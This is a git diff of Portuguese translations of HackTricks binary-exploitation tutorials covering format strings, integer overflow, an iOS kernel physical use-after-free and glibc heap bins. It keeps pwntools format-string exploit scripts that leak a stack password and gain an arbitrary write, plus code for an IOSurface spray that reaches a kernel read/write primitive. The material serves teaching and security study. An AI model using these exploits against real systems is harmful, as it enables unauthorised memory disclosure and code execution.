@@ -84,13 +84,13 @@ printf("Access Denied.\n"); return 0; } ``` -Compile com: +Compile-o com: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` -### Ler a partir da pilha +### Ler do stack -A **`stack_password`** será armazenada na pilha porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo da pilha é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas da pilha: +A **`stack_password`** será armazenada no stack porque é uma variável local, então apenas abusar do printf para mostrar o conteúdo do stack é suficiente. Este é um exploit para BF as primeiras 100 posições para vazar as senhas do stack: ```python from pwn import * @@ -103,7 +103,7 @@ output = p.clean() print(output) p.close() ``` -Na imagem é possível ver que podemos vazar a senha da pilha na `10ª` posição: +Na imagem, é possível ver que podemos vazar a senha da pilha na `10ª` posição:
@@ -111,7 +111,7 @@ Na imagem é possível ver que podemos vazar a senha da pilha na `10ª` posiçã ### Ler dados -Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço de heap da pilha em `%25$p`. Além disso, comparando o endereço vazado (`0xaaaab7030894`) com a posição da senha na memória nesse processo, podemos obter a diferença de endereços: +Executando o mesmo exploit, mas com `%p` em vez de `%s`, é possível vazar um endereço da heap da pilha em `%25$p`. Além disso, comparando o endereço vazado (`0xaaaab7030894`) com a posição da senha na memória nesse processo, podemos obter a diferença dos endereços:
@@ -142,11 +142,11 @@ output = p.clean() print(output.decode("utf-8")) p.close() ``` -E é possível ver que no **try 14** com o uso da passagem utilizada podemos controlar um endereço: +E é possível ver que no **try 14** com o passing utilizado podemos controlar um endereço:
-### Explorar +### Exploit ```python from pwn import * @@ -179,16 +179,16 @@ p.close()
{% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte o HackTricks +Supporte o HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/format-strings/format-strings-template.md b/binary-exploitation/format-strings/format-strings-template.md index d467deaaf..723c262f2 100644 --- a/binary-exploitation/format-strings/format-strings-template.md +++ b/binary-exploitation/format-strings/format-strings-template.md @@ -1,16 +1,16 @@ # Modelo de Strings de Formato {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Treinamento Especialista em Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Treinamento Especialista em Red Team GCP (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Suporte ao HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -154,16 +154,16 @@ P.interactive() ``` {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**HackTricks Treinamento GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Supporte o HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/integer-overflow.md b/binary-exploitation/integer-overflow.md index bd64b9116..ef04c48e4 100644 --- a/binary-exploitation/integer-overflow.md +++ b/binary-exploitation/integer-overflow.md @@ -1,31 +1,31 @@ -# Estouro de Inteiro +# Overflow de Inteiro {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} ## Informações Básicas -No cerne de um **estouro de inteiro** está a limitação imposta pelo **tamanho** dos tipos de dados na programação de computadores e a **interpretação** dos dados. +No coração de um **overflow de inteiro** está a limitação imposta pelo **tamanho** dos tipos de dados na programação de computadores e a **interpretação** dos dados. -Por exemplo, um **inteiro sem sinal de 8 bits** pode representar valores de **0 a 255**. Se você tentar armazenar o valor 256 em um inteiro sem sinal de 8 bits, ele será envolvido de volta para 0 devido à limitação de sua capacidade de armazenamento. Da mesma forma, para um **inteiro sem sinal de 16 bits**, que pode conter valores de **0 a 65.535**, adicionar 1 a 65.535 fará com que o valor volte para 0. +Por exemplo, um **inteiro sem sinal de 8 bits** pode representar valores de **0 a 255**. Se você tentar armazenar o valor 256 em um inteiro sem sinal de 8 bits, ele retorna a 0 devido à limitação de sua capacidade de armazenamento. Da mesma forma, para um **inteiro sem sinal de 16 bits**, que pode conter valores de **0 a 65.535**, adicionar 1 a 65.535 fará com que o valor retorne a 0. Além disso, um **inteiro com sinal de 8 bits** pode representar valores de **-128 a 127**. Isso ocorre porque um bit é usado para representar o sinal (positivo ou negativo), deixando 7 bits para representar a magnitude. O número mais negativo é representado como **-128** (binário `10000000`), e o número mais positivo é **127** (binário `01111111`). ### Valores Máximos -Para potenciais **vulnerabilidades web**, é muito interessante saber os valores máximos suportados: +Para potenciais **vulnerabilidades web**, é muito interessante conhecer os valores máximos suportados: {% tabs %} {% tab title="Rust" %} @@ -44,14 +44,6 @@ println!("{}", add_result); {% endtab %} {% tab title="C" %} -## Transbordamento de Inteiro - -Transbordamento de inteiro ocorre quando uma operação matemática resulta em um valor que excede o limite máximo ou mínimo que o tipo de dado pode armazenar. Isso pode levar a comportamentos inesperados e vulnerabilidades de segurança em programas. - -Um exemplo comum de transbordamento de inteiro é quando um valor positivo é adicionado a um valor muito grande, resultando em um valor negativo devido ao estouro. Isso pode ser explorado por hackers para manipular o comportamento do programa e potencialmente executar código malicioso. - -Para evitar transbordamentos de inteiro, é importante validar entradas, verificar limites de valores e usar tipos de dados apropriados para as operações matemáticas realizadas no programa. -{% endtab %} ```c #include #include @@ -70,11 +62,14 @@ printf("%d\n", c); return 0; } ``` +{% endtab %} +{% endtabs %} + ## Exemplos ### Overflow puro -O resultado impresso será 0, pois ocorreu um estouro no char: +O resultado impresso será 0, pois transbordamos o char: ```c #include @@ -87,7 +82,7 @@ return 0; ``` ### Conversão de Assinado para Não Assinado -Considere uma situação em que um inteiro assinado é lido a partir da entrada do usuário e depois utilizado em um contexto que o trata como um inteiro não assinado, sem uma validação adequada: +Considere uma situação em que um inteiro assinado é lido da entrada do usuário e, em seguida, usado em um contexto que o trata como um inteiro não assinado, sem a devida validação: ```c #include @@ -109,21 +104,36 @@ printf("Processed Input is within range: %u\n", processedInput); return 0; } ``` -Neste exemplo, se um usuário inserir um número negativo, ele será interpretado como um grande inteiro não assinado devido à forma como os valores binários são interpretados, potencialmente levando a comportamentos inesperados. +Neste exemplo, se um usuário inserir um número negativo, ele será interpretado como um grande inteiro sem sinal devido à forma como os valores binários são interpretados, potencialmente levando a um comportamento inesperado. ### Outros Exemplos * [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html) -* Apenas 1B é usado para armazenar o tamanho da senha, então é possível causar um estouro e fazer com que ele pense que tem um comprimento de 4, enquanto na verdade é 260 para burlar a proteção de verificação de comprimento +* Apenas 1B é usado para armazenar o tamanho da senha, então é possível causar um overflow e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento. * [https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/puzzle/index.html) -* Dados alguns números, descubra usando z3 um novo número que, multiplicado pelo primeiro, resultará no segundo: +* Dado um par de números, descubra usando z3 um novo número que multiplicado pelo primeiro dará o segundo: ``` (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) ``` * [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) -* Apenas 1B é usado para armazenar o tamanho da senha, então é possível causar um estouro e fazer com que ele pense que tem um comprimento de 4, enquanto na verdade é 260 para burlar a proteção de verificação de comprimento e sobrescrever na pilha a próxima variável local e burlar ambas as proteções +* Apenas 1B é usado para armazenar o tamanho da senha, então é possível causar um overflow e fazê-lo pensar que seu comprimento é 4, enquanto na verdade é 260, para contornar a proteção de verificação de comprimento e sobrescrever na pilha a próxima variável local e contornar ambas as proteções. ## ARM64 -Isso **não muda no ARM64** como você pode ver neste [**post de blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +Isso **não muda no ARM64** como você pode ver em [**este post do blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/binary-exploitation/ios-exploiting.md b/binary-exploitation/ios-exploiting.md index f0749946d..6be632ce7 100644 --- a/binary-exploitation/ios-exploiting.md +++ b/binary-exploitation/ios-exploiting.md @@ -2,7 +2,7 @@ ## Uso físico após a liberação -Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre o exploit usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Gerenciamento de memória no XNU @@ -17,7 +17,7 @@ As tabelas de páginas são organizadas hierarquicamente em três níveis: * Cobre **0x1000000000 bytes** (ou **256 GB**) de memória virtual. 2. **Tabela de Páginas L2 (Nível 2)**: * Uma entrada aqui representa uma região menor de memória virtual, especificamente **0x2000000 bytes** (32 MB). -* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região sozinha. +* Uma entrada L1 pode apontar para uma tabela L2 se não conseguir mapear toda a região por conta própria. 3. **Tabela de Páginas L3 (Nível 3)**: * Este é o nível mais fino, onde cada entrada mapeia uma única página de memória de **4 KB**. * Uma entrada L2 pode apontar para uma tabela L3 se um controle mais granular for necessário. @@ -25,7 +25,7 @@ As tabelas de páginas são organizadas hierarquicamente em três níveis: #### Mapeamento de Memória Virtual para Física * **Mapeamento Direto (Mapeamento de Bloco)**: -* Algumas entradas em uma tabela de páginas **mapeiam um intervalo de endereços virtuais** para um intervalo contíguo de endereços físicos (como um atalho). +* Algumas entradas em uma tabela de páginas **mapeiam diretamente uma faixa de endereços virtuais** para uma faixa contígua de endereços físicos (como um atalho). * **Ponteiro para Tabela de Páginas Filha**: * Se um controle mais fino for necessário, uma entrada em um nível (por exemplo, L1) pode apontar para uma **tabela de páginas filha** no próximo nível (por exemplo, L2). @@ -60,7 +60,7 @@ Um **uso físico após a liberação** (UAF) ocorre quando: 3. O processo **desaloca** (libera) a memória. 4. No entanto, devido a um **bug**, o kernel **esquece de remover o mapeamento** das tabelas de páginas, mesmo que marque a memória física correspondente como livre. 5. O kernel pode então **realocar essa memória física "liberada"** para outros fins, como **dados do kernel**. -6. Como o mapeamento não foi removido, o processo ainda pode **ler e gravar** nessa memória física. +6. Como o mapeamento não foi removido, o processo ainda pode **ler e escrever** nessa memória física. Isso significa que o processo pode acessar **páginas de memória do kernel**, que podem conter dados ou estruturas sensíveis, potencialmente permitindo que um atacante **manipule a memória do kernel**. @@ -71,7 +71,7 @@ Como o atacante não pode controlar quais páginas específicas do kernel serão 1. O atacante **cria um grande número de objetos IOSurface** na memória do kernel. 2. Cada objeto IOSurface contém um **valor mágico** em um de seus campos, facilitando a identificação. 3. Eles **escaneiam as páginas liberadas** para ver se algum desses objetos IOSurface caiu em uma página liberada. -4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e gravar na memória do kernel**. +4. Quando encontram um objeto IOSurface em uma página liberada, podem usá-lo para **ler e escrever na memória do kernel**. Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) @@ -79,9 +79,9 @@ Mais informações sobre isso em [https://github.com/felix-pb/kfd/tree/main/writ 1. **Spray de Objetos IOSurface**: O atacante cria muitos objetos IOSurface com um identificador especial ("valor mágico"). 2. **Escanear Páginas Liberadas**: Eles verificam se algum dos objetos foi alocado em uma página liberada. -3. **Ler/Gravar na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles: +3. **Ler/Escrever na Memória do Kernel**: Manipulando campos no objeto IOSurface, eles ganham a capacidade de realizar **leituras e gravações arbitrárias** na memória do kernel. Isso permite que eles: * Use um campo para **ler qualquer valor de 32 bits** na memória do kernel. -* Use outro campo para **gravar valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável. +* Use outro campo para **escrever valores de 64 bits**, alcançando um **primitivo de leitura/gravação do kernel** estável. Gere objetos IOSurface com o valor mágico IOSURFACE_MAGIC para buscar mais tarde: ```c @@ -200,4 +200,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig); 3. **Identificar IOSurface Acessível**: Localizar um IOSurface em uma página liberada que você controla. 4. **Abusar do Uso-Físico Após Liberação**: Modificar ponteiros no objeto IOSurface para habilitar **leitura/escrita** arbitrária no **kernel** via métodos IOSurface. -Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** controladas na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos). +Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos). diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md index 408bf471a..99e87f28a 100644 --- a/binary-exploitation/libc-heap/README.md +++ b/binary-exploitation/libc-heap/README.md @@ -41,16 +41,16 @@ Subheaps servem como reservas de memória para arenas secundárias em aplicaçõ * O heap inicial está localizado diretamente após o binário do programa na memória, e se expande usando a chamada de sistema `sbrk`. * Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada. 2. **Reserva de Memória com `mmap`**: -* Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; simplesmente designa uma região que outros processos ou alocações do sistema não devem usar. +* Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos ou alocações do sistema não devem usar. * Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits. 3. **Expansão Gradual com `mprotect`**: * A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda. * Para "crescer" o subheap, o gerenciador de heap usa `mprotect` para mudar as permissões de página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel que aloque memória física para os endereços previamente reservados. Essa abordagem passo a passo permite que o subheap se expanda conforme necessário. -* Uma vez que todo o subheap é esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação. +* Uma vez que todo o subheap esteja esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação. ### heap\_info -Esta struct aloca informações relevantes do heap. Além disso, a memória do heap pode não ser contínua após mais alocações, esta struct também armazenará essa informação. +Esta struct aloca informações relevantes do heap. Além disso, a memória heap pode não ser contínua após mais alocações, esta struct também armazenará essa informação. ```c // From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837 @@ -72,7 +72,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK]; **Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\ É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\ -No caso das **estruturas `malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**. +No caso das estruturas **`malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**. Há algumas coisas interessantes a notar a partir desta estrutura (veja o código C abaixo): @@ -177,7 +177,7 @@ Além disso, quando disponível, os dados do usuário também são usados para c

https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png

{% hint style="info" %} -Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk é registrado. +Note como vincular a lista dessa forma evita a necessidade de ter um array onde cada chunk individual está sendo registrado. {% endhint %} ### Ponteiros de Chunk @@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) & return request2size (req); } ``` -Note que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário. +Note que para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário. ### Obter dados do Chunk e alterar metadados @@ -351,7 +351,7 @@ people extending or adapting this malloc. #define clear_inuse_bit_at_offset(p, s) \ (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE)) ``` -* Defina o cabeçalho e o rodapé (quando os números de chunk estão em uso) +* Defina cabeçalho e rodapé (quando os números de chunk estão em uso) ```c /* Set size at head, without disturbing its use bit */ #define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s))) @@ -490,7 +490,7 @@ Verifique quais são os bins e como estão organizados e como a memória é aloc ## Verificações de Segurança das Funções do Heap -Funções envolvidas no heap realizarão certas verificações antes de executar suas ações para tentar garantir que o heap não foi corrompido: +As funções envolvidas no heap realizarão certas verificações antes de executar suas ações para tentar garantir que o heap não foi corrompido: {% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %} [heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md) diff --git a/binary-exploitation/libc-heap/bins-and-memory-allocations.md b/binary-exploitation/libc-heap/bins-and-memory-allocations.md index a604514fc..b15cd845a 100644 --- a/binary-exploitation/libc-heap/bins-and-memory-allocations.md +++ b/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -1,40 +1,40 @@ -# Bins & Alocações de Memória +# Bins & Memory Allocations {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Informações Básicas +## Basic Information -Para melhorar a eficiência de como os pedaços são armazenados, cada pedaço não está apenas em uma lista encadeada, mas existem vários tipos. Estes são os bins e existem 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins por thread. +Para melhorar a eficiência de como os chunks são armazenados, cada chunk não está apenas em uma lista encadeada, mas existem vários tipos. Estes são os bins e há 5 tipos de bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) bins pequenos, 63 bins grandes, 1 bin não ordenado, 10 bins rápidos e 64 bins tcache por thread. -O endereço inicial para cada bin desordenado, pequeno e grande está dentro do mesmo array. O índice 0 não é usado, 1 é o bin desordenado, os bins 2-64 são os bins pequenos e os bins 65-127 são os bins grandes. +O endereço inicial para cada bin não ordenado, pequeno e grande está dentro do mesmo array. O índice 0 não é usado, 1 é o bin não ordenado, bins 2-64 são bins pequenos e bins 65-127 são bins grandes. -### Bins Tcache (Cache por Thread) +### Tcache (Per-Thread Cache) Bins -Mesmo que as threads tentem ter seu próprio heap (veja [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), há a possibilidade de que um processo com muitas threads (como um servidor web) **acabe compartilhando o heap com outras threads**. Nesse caso, a solução principal é o uso de **lockers**, que podem **desacelerar significativamente as threads**. +Embora as threads tentem ter seu próprio heap (veja [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), existe a possibilidade de que um processo com muitas threads (como um servidor web) **acabe compartilhando o heap com outras threads**. Nesse caso, a principal solução é o uso de **lockers**, que podem **reduzir significativamente a velocidade das threads**. -Portanto, um tcache é semelhante a um bin rápido por thread no sentido de que é uma **lista encadeada simples** que não mescla pedaços. Cada thread tem **64 bins tcache encadeados simples**. Cada bin pode ter um máximo de [7 pedaços do mesmo tamanho](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) variando de [24 a 1032B em sistemas de 64 bits e 12 a 516B em sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). +Portanto, um tcache é semelhante a um bin rápido por thread na forma como é uma **lista encadeada simples** que não mescla chunks. Cada thread tem **64 bins tcache encadeados**. Cada bin pode ter um máximo de [7 chunks do mesmo tamanho](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) variando de [24 a 1032B em sistemas de 64 bits e 12 a 516B em sistemas de 32 bits](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). -Quando um thread libera um pedaço, se não for muito grande para ser alocado no tcache e o bin tcache respectivo **não estiver cheio** (já com 7 pedaços), ele será alocado lá. Se não puder ir para o tcache, precisará esperar pelo bloqueio do heap para poder realizar a operação de liberação globalmente. +**Quando uma thread libera** um chunk, **se não for muito grande** para ser alocado no tcache e o respectivo bin tcache **não estiver cheio** (já 7 chunks), **ele será alocado lá**. Se não puder ir para o tcache, precisará esperar pelo bloqueio do heap para poder realizar a operação de liberação globalmente. 